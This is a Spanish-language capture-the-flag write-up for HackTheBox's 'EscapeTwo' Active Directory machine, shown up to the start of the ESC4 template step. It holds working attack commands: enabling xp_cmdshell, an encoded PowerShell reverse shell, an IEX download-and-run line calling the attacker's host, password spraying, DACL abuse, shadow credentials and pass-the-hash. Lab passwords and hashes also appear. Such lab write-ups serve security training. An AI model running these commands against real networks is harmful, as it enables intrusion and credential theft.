Habilidades: RPC Enumeration, SMB Enumeration, Information Leakage, Abusing xp_cmdshell, DC Enumeration - BloodHound Analysis, Abusing AD DACL - WriteOwner
Rights, Shadow Credentials, Abusing AD CS - ESC4
, PassTheCertificate, PassTheHash
Introducción
EscapeTwo es una máquina Windows de dificultad Easy
en HackTheBox, donde debemos vulnerar un escenario de Active Directory a través de diferentes técnicas de enumeración y explotación de servicios con fallos de configuración, abusaremos de AD CS para obtener privilegios elevados dentro del dominio.
En este caso HackTheBox nos proporciona unas credenciales válidas de usuario en el siguiente mensaje:
Machine Information
As is common in real life Windows pentests, you will start this box with credentials for the following account:
rose
/KxEPkKe6R8su
Reconocimiento
Antes de comenzar a escanear puertos, comprobaremos que tenemos conectividad con la máquina víctima a través de una traza ICMP
ping -c 1 10.10.11.51
PING 10.10.11.51 (10.10.11.51) 56(84) bytes of data.
64 bytes from 10.10.11.51: icmp_seq=1 ttl=127 time=287 ms
--- 10.10.11.51 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 286.879/286.879/286.879/0.000 ms
Nmap Scanning
Empezaremos la fase de reconocimiento con un escaneo exhaustivo utilizando la herramienta nmap
con el fin de descubrir los puertos abiertos en la máquina víctima
nmap --open -p- --min-rate 5000 -n -sS -v -Pn 10.10.11.51 -oG openPorts
Completed SYN Stealth Scan at 13:46, 26.52s elapsed (65535 total ports)
Nmap scan report for 10.10.11.51
Host is up (0.16s latency).
Not shown: 65509 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49689/tcp open unknown
49690/tcp open unknown
49691/tcp open unknown
49706/tcp open unknown
49722/tcp open unknown
49743/tcp open unknown
49818/tcp open unknown
Haremos un segundo escaneo con el propósito de obtener detalles de la versión y el servicio que se ejecuta en cada uno de los puertos que descubrimos
nmap -sVC -p 53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49689,49690,49691,49706,49722,49743,49818 10.10.11.51 -oN services
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-05 18:49:05Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-02-05T18:50:44+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-02-05T18:50:44+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
| 10.10.11.51:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_ssl-date: 2025-02-05T18:50:44+00:00; -1s from scanner time.
| ms-sql-ntlm-info:
| 10.10.11.51:1433:
| Target_Name: SEQUEL
| NetBIOS_Domain_Name: SEQUEL
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: DC01.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-02-05T16:05:49
|_Not valid after: 2055-02-05T16:05:49
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-02-05T18:50:44+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-02-05T18:50:44+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49689/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49690/tcp open msrpc Microsoft Windows RPC
49691/tcp open msrpc Microsoft Windows RPC
49706/tcp open msrpc Microsoft Windows RPC
49722/tcp open msrpc Microsoft Windows RPC
49743/tcp open msrpc Microsoft Windows RPC
49818/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-02-05T18:50:05
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 5 13:50:47 2025 -- 1 IP address (1 host up) scanned in 109.47 seconds
Analizando la captura podemos ver que el dominio se llama sequel.htb
y que el controlador de dominio es dc01.sequel.htb
, agregaremos esta información al archivo /etc/hosts
con el siguiente comando como el usuario root
sudo echo '10.10.11.51 sequel.htb dc01.sequel.htb' >> /etc/hosts
RPC Enumeration
Primeramente intentaremos conectarnos con una sesión nula y verificar si podemos enumerar información del dominio
rpcclient -U "" -N 10.10.11.51 -c querydispinfo
result was NT_STATUS_ACCESS_DENIED
No podemos acceder mediante una sesión anónima, entonces utilizaremos las credenciales que se nos han proporcionado (rose:KxEPkKe6R8su
)
rpcclient -U "rose%KxEPkKe6R8su" 10.10.11.51 -c enumdomusers | grep -oP 'user:\[\K[^\]]+' > users.txt
Administrator
Guest
krbtgt
michael
ryan
oscar
sql_svc
rose
ca_svc
Guardamos la información rápidamente en un archivo users.txt
para contar con una lista de los usuarios existentes en el dominio
Groups and Users
Si hacemos una enumeración de los grupos con el comando eunmdomgroups
, veremos diversos departamentos como Sales
, Human Resources
, Accounting
o Management
, automatizaremos la búsqueda de estos grupos además de listar los miembros de cada grupo
for group in $(seq 2 6); do rpcclient -U "rose%KxEPkKe6R8su" 10.10.11.51 -c 'enumdomgroups' | grep "0x64$group" | awk '{print $2,$3}' FS=':'; rpcclient -U "rose%KxEPkKe6R8su" 10.10.11.51 -c "queryuser $(rpcclient -U "rose%KxEPkKe6R8su" 10.10.11.51 -c "querygroupmem 0x64$group" | awk '{print $2}' FS=':' | tr -d '[]' | awk '{print $1}')" | grep -i 'user name'; done | grep -v 'Usage'
[Management Department] rid [0x642]
User Name : ryan
[Sales Department] rid [0x643]
[Accounting Department] rid [0x644]
User Name : oscar
[Reception Department] rid [0x645]
[Human Resources Department] rid [0x646]
Con esto ya sabríamos que el usuario ryan
pertenece al departamento Management
además de que oscar
pertenece al departamento Accounting
Intrusión / Explotación
SMB Enumeration
Investigando los recursos compartidos a través por la red, podemos ver que existe una carpeta Accounting Department
, encontraremos dos archivos de excel
, los inspeccionaremos con LibreOffice
smbclient //10.10.11.51/'Accounting Department'/ -U 'sequel.htb/rose%KxEPkKe6R8su'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Jun 9 06:52:21 2024
.. D 0 Sun Jun 9 06:52:21 2024
accounting_2024.xlsx A 10217 Sun Jun 9 06:14:49 2024
accounts.xlsx A 6780 Sun Jun 9 06:52:07 2024
6367231 blocks of size 4096. 928113 blocks available
smb: \> get accounts.xlsx
getting file \accounts.xlsx of size 6780 as accounts.xlsx (1.1 KiloBytes/sec) (average 1.1 KiloBytes/sec)
smb: \> get accounting_2024.xlsx
getting file \accounting_2024.xlsx of size 10217 as accounting_2024.xlsx (8.3 KiloBytes/sec) (average 2.4 KiloBytes/sec)
Si ocurre un error con el formato para abrirlo con LibreOffice
podemos leer directamente el contenido del archivo al hacerle un pequeño tratamiento.
Descomprimiremos el archivo en una carpeta accounts
donde alojaremos todos los archivos correspondientes al archivo accounts.xlsx
unzip accounts.xlsx -d accounts
Archive: accounts.xlsx
file #1: bad zipfile offset (local header sig): 0
inflating: accounts/xl/workbook.xml
inflating: accounts/xl/theme/theme1.xml
inflating: accounts/xl/styles.xml
inflating: accounts/xl/worksheets/_rels/sheet1.xml.rels
inflating: accounts/xl/worksheets/sheet1.xml
inflating: accounts/xl/sharedStrings.xml
inflating: accounts/_rels/.rels
inflating: accounts/docProps/core.xml
inflating: accounts/docProps/app.xml
inflating: accounts/docProps/custom.xml
inflating: accounts/[Content_Types].xml
Information Leakage - accounts.xlsx
El contenido se encuentra almacenado en el archivo .accounts/xl/sharedStrings.xml
, podemos hacer un tratamiento para ver la información de forma más intuitiva. Guardaremos
cat accounts/xl/sharedStrings.xml | grep -oP '<t xml:space="preserve">\K[^<]+' | grep -vE "First Name|Last Name|Password|Email|Username" | paste - - - - - | column -s $'\t' -t
Angela Martin angela@sequel.htb angela 0fwz7Q4mSpurIt99
Oscar Martinez oscar@sequel.htb oscar 86LxLBMgEWaKUnBG
Kevin Malone kevin@sequel.htb kevin Md9Wlq1E5bZnVDVo
NULL sa@sequel.htb sa MSSQLP@ssw0rd!
Veremos la información de la siguiente forma organizada por columnas, aunque la última columna tendrá valores nulos.
SQL Server - msssqlclient.py
Tenemos credenciales para la cuenta sa
. Nos conectaremos con un cliente SQL Server
a la máquina víctima
mssqlclient.py sequel.htb/sa@sequel.htb
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL>
Abusing xp_cmdshell
- SQL Server
Activaremos el procedimiento almacenado de xp_cmdshell
para ejecutar comandos en la máquina ejecutando esta serie de queries SQL
- La siguiente forma de activar
xp_cmdshell
es posible mediante el uso demssqlclient.py
, de lo contrario podríamos habilitar este procedimiento almacenado de la forma que se muestra más abajo
enable xp_cmdshell
Habilitando
xp_cmdshell
de forma manual
SQL> EXEC sp_configure 'show advanced options', 1
[*] INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
[*] INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';
output
-------------------------------------------------------------------------------------
sequel\sql_svc
Shell as svc_sql
1. Reverse Shell via Powershell base64
Encoded Command
Una vez activamos xp_cmdshell
, lanzaremos una reverse shell a nuestra máquina de atacante por un puerto, en mi caso, el 443
. Podemos construir una reverse shell fácilmente en revshells.com
en base64
# Listener
rlwrap nc -lvnp 443
# Máquina víctima
SQL> xp_cmdshell powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4AMwA3ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
2. Reverse Shell via IEX()
Function
Una gran alternativa si no podemos ejecutar una cantidad elevada de caracteres (se da en algunos escenarios donde no tenemos una consola mssql
), sería enviarnos una solicitud HTTP a un recurso que estemos alojando en nuestra máquina para que interprete un script de powershell
SQL> xp_cmdshell "powershell -c IEX(New-Object Net.WebClient).downloadString(''http://10.10.15.37/reverse.ps1'')"
Antes de ejecutar esta sentencia, debemos disponer de reverse.ps1
. Para este ejemplo usaré un script simple del repositorio de nishang
, estos ejemplos de scripts vienen previamente instalados en parrot
al menos
cp /usr/share/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 reverse.ps1
# Editamos el script para que nos envíe la consola de Powershell a nuestra máquina en la función TCPCLient
$client = New-Object System.Net.Sockets.TCPClient('10.10.15.37',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Credentials Leakage
Inspeccionando los archivos de la máquina, vemos un directorio SQL2019
que contiene un archivo de configuración de sql
PS C:\Users> type "C:\SQL2019/ExpressAdv_ENU/sql-configuration.INI"
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3" # AQUÍ!
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True
Password Spraying - kerberos
Veamos para qué usuario es válida esta contraseña que acabamos de encontrar usando el protocolo kerberos
/opt/kerbrute/kerbrute-1.0.3/kerbrute passwordspray -d sequel.htb --dc 10.10.11.51 users.txt 'WqSZAF6CysDQbGb3'
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 02/09/25 - Ronnie Flathers @ropnop
2025/02/09 20:57:38 > Using KDC(s):
2025/02/09 20:57:38 > 10.10.11.51:88
2025/02/09 20:57:38 > [+] VALID LOGIN: sql_svc@sequel.htb:WqS...
2025/02/09 20:57:38 > [+] VALID LOGIN: ryan@sequel.htb:WqS...
2025/02/09 20:57:38 > Done! Tested 12 logins (2 successes) in 0.618 seconds
Y son válidas para la cuenta sql_svc
y para el usuario ryan
, si verificamos una conexión a través de winrm
nxc winrm 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
WINRM 10.10.11.51 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
WINRM 10.10.11.51 5985 DC01 [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)
Shell as ryan
Como son válidas estas credenciales y nos muestra Pwned!
, sabemos que el usuario ryan
forma parte del grupo Remote Management Users
, lo que le otorga la capacidad de obtener una consola de powershell
a través de winrm
evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
Evil-WinRM shell v3.5
*Evil-WinRM* PS C:\Users\ryan\Documents>
En este punto ya podemos ver la flag del usuario no privilegiado
*Evil-WinRM* PS C:\Users\ryan\Documents> type ..\Desktop\user.txt
81e...
Escalada de Privilegios
DC Enumeration - BloodHound Analysis
Analizaremos la estructura del dominio con BloodHound para encontrar rutas potenciales para escalar nuestros privilegios en el dominio
bloodhound-python -d sequel.htb -c All -ns 10.10.11.51 --zip -u 'ryan' -p 'WqS...'
Encontraremos el siguiente objeto el cual el usuario ryan
posee control
Abusing AD DACL - WriteOwner
Rights
El usuario ryan
tiene derechos WriteOwner
sobre la cuenta ca_svc
. Esto permite modificar el propietario de esta cuenta. Podemos aprovechar esto para posteriormente extraer el hash NT
de la cuenta ca_svc
y hacer PassTheHash
.
Primeramente asignaremos a ryan
como el propietario de la cuenta ca_svc
owneredit.py -action write -new-owner 'ryan' -target 'ca_svc' sequel.htb/ryan
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] No credentials supplied, supply password
Password:
[*] Current owner information below
[*] - SID: S-1-5-21-548670397-972687484-3496335370-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=sequel,DC=htb
[*] OwnerSid modified successfully!
Verifying via powershell
A continuación podemos verificar la operación desde una sesión como el usuario ryan
mediante evil-winrm
# Before
*Evil-WinRM* PS C:\Users\ryan\Documents> $user = Get-ADObject -Identity "CN=Certification Authority,CN=Users,DC=sequel,DC=htb" -Properties ntSecurityDescriptor
*Evil-WinRM* PS C:\Users\ryan\Documents> $user.nTSecurityDescriptor.Owner
SEQUEL\Domain Admins
# After
*Evil-WinRM* PS C:\Users\ryan\Documents> $user = Get-ADObject -Identity "CN=Certification Authority,CN=Users,DC=sequel,DC=htb" -Properties ntSecurityDescriptor
*Evil-WinRM* PS C:\Users\ryan\Documents> $user.nTSecurityDescriptor.Owner
SEQUEL\ryan
Granting GenericAll
Rights to ca_svc
Account
Modificaremos la lista de control de acceso para asignarle al usuario ryan
control total sobre la cuenta ca_svc
, lo haremos con la herramienta dacledit.py
dacledit.py -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' sequel.htb/ryan
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] No credentials supplied, supply password
Password:
[*] DACL backed up to dacledit-20250209-214403.bak
[*] DACL modified successfully!
Shadow Credentials
Ahora podremos extraer el hash NT
del usuario ca_svc
, podemos hacerlo mediante Shadow Credentials
con certipy
o con pywhisker
. Para este ataque no debemos dejar pasar mucho tiempo, si los permisos dan conflictos, vuelve a cambiar el propietario y permisos con owneredit
y dacledit
1. certipy
Este método es más “sencillo” dado que automatiza la manipulación de msDS-KeyCredentialLink
, generando un certificado válido para autenticarse como ca_svc
y por ende, obteniendo el hash NT
al instante
certipy shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -account ca_svc -dc-ip 10.10.11.51
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'da4f3845-ac34-7d4a-78b4-a8d0ae18fe4b'
[*] Adding Key Credential with device ID 'da4f3845-ac34-7d4a-78b4-a8d0ae18fe4b' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID 'da4f3845-ac34-7d4a-78b4-a8d0ae18fe4b' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': 3b181b914e7a9d5508ea1e20bc2b7fce
2. pywhisker
Este método modifica el atributo msDS-KeyCredentialLink
del objeto ca_svc
en el dominio para asociar una clave controlada por nosotros. Esto permite autenticarnos como la cuenta ca_svc
usando certificados sin conocer su contraseña real
pywhisker -d "sequel.htb" -u "ryan" -p 'WqSZAF6CysDQbGb3' --target "ca_svc" --action "add"
[*] Searching for the target account
[*] Target user found: CN=Certification Authority,CN=Users,DC=sequel,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 150b6f3e-e2e0-8611-8733-c55372fa73d5
[*] Updating the msDS-KeyCredentialLink attribute of ca_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: u1IRYGJ6.pfx
[*] Must be used with password: hzw5UbmyDVK752YXoLS9
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Usaremos la herramienta gettgtpkinit
para obtener un TGT
válido para la cuenta ca_svc
python3 gettgtpkinit.py sequel.htb/ca_svc -cert-pfx u1IRYGJ6.pfx -pfx-pass hzw5UbmyDVK752YXoLS9 ticket.ccache
Usando este TGT
ahora podremos ver el hash NT
de la cuenta ca_svc
export KRB5CCNAME=ticket.ccache
python3 getnthash.py sequel.htb/ca_svc -key 62628325bbcef3f6b625ef46be6e88b28bec94ff97dbc4bc4b96082650e679e6
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
3b181b914e7a9d5508ea1e20bc2b7fce
Shell as ca_svc
Podemos validar con netexec
el hash que obtuvimos de la cuenta ca_svc
nxc smb 10.10.11.51 -u 'ca_svc' -H '3b181b914e7a9d5508ea1e20bc2b7fce'
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\ca_svc:3b181...
Si lo intentamos validar el en protocolo winrm
, no será válido
nxc winrm 10.10.11.51 -u ca_svc -H '3b181b914e7a9d5508ea1e20bc2b7fce'
WINRM 10.10.11.51 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
WINRM 10.10.11.51 5985 DC01 [-] sequel.htb\ca_svc:3b181b914e7a9d5508ea1e20bc2b7fce
Requesting TGT - ca_svc
Solicitaremos un Ticket Granting Ticket
para utilizar una autenticación mediante kerberos
en vez de emplear las credenciales
getTGT.py sequel.htb/ca_svc -dc-ip 10.10.11.51 -hashes '3b181b914e7a9d5508ea1e20bc2b7fce'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Saving ticket in ca_svc.ccache
Para continuar, debemos cargar el ticket como una variable de entorno
export KRB5CCNAME=ca_svc.ccache
Abusing AD CS - ESC4
Podemos encontrar plantillas vulnerables para la cuenta ca_svc
de las que podamos abusar con certipy
certipy find -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip 10.10.11.51 -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[*] Got CA configuration for 'sequel-DC01-CA'
[*] Saved BloodHound data to '20250512133606_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250512133606_Certipy.txt'
[*] Saved JSON output to '20250512133606_Certipy.json'
Hemos recolectado información de plantillas de certificados, veamos qué podemos hacer
cat 20250512133606_Certipy.txt
Certificate Authorities
0
CA Name : sequel-DC01-CA
DNS Name : DC01.sequel.htb
Certificate Subject : CN=sequel-DC01-CA, DC=sequel, DC=htb
Certificate Serial Number : 152DBD2D8E9C079742C0F3BFF2A211D3
Certificate Validity Start : 2024-06-08 16:50:40+00:00
Certificate Validity End : 2124-06-08 17:00:40+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : SEQUEL.HTB\Administrators
Access Rights
ManageCertificates : SEQUEL.HTB\Administrators
SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
ManageCa : SEQUEL.HTB\Administrators
SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Enroll : SEQUEL.HTB\Authenticated Users
Certificate Templates
0
Template Name : DunderMifflinAuthentication
Display Name : Dunder Mifflin Authentication
Certificate Authorities : sequel-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireCommonName
SubjectAltRequireDns
Enrollment Flag : AutoEnrollment
PublishToDs
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1000 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Object Control Permissions
Owner : SEQUEL.HTB\Enterprise Admins
Full Control Principals : SEQUEL.HTB\Cert Publishers
Write Owner Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Administrator
SEQUEL.HTB\Cert Publishers
Write Dacl Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Administrator
SEQUEL.HTB\Cert Publishers
Write Property Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Administrator
SEQUEL.HTB\Cert Publishers
[!] Vulnerabilities
ESC4 : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions
La plantilla DunderMifflinAuthentication
tiene permisos excesivos otorgados al grupo SEQUEL\Cert Publishers
, esto la hace vulnerable a la emisión de certificados mediante usuarios no autorizados. En este caso, autenticaremos al usuario Administrator
para obtener un hash NT
Modifying Template
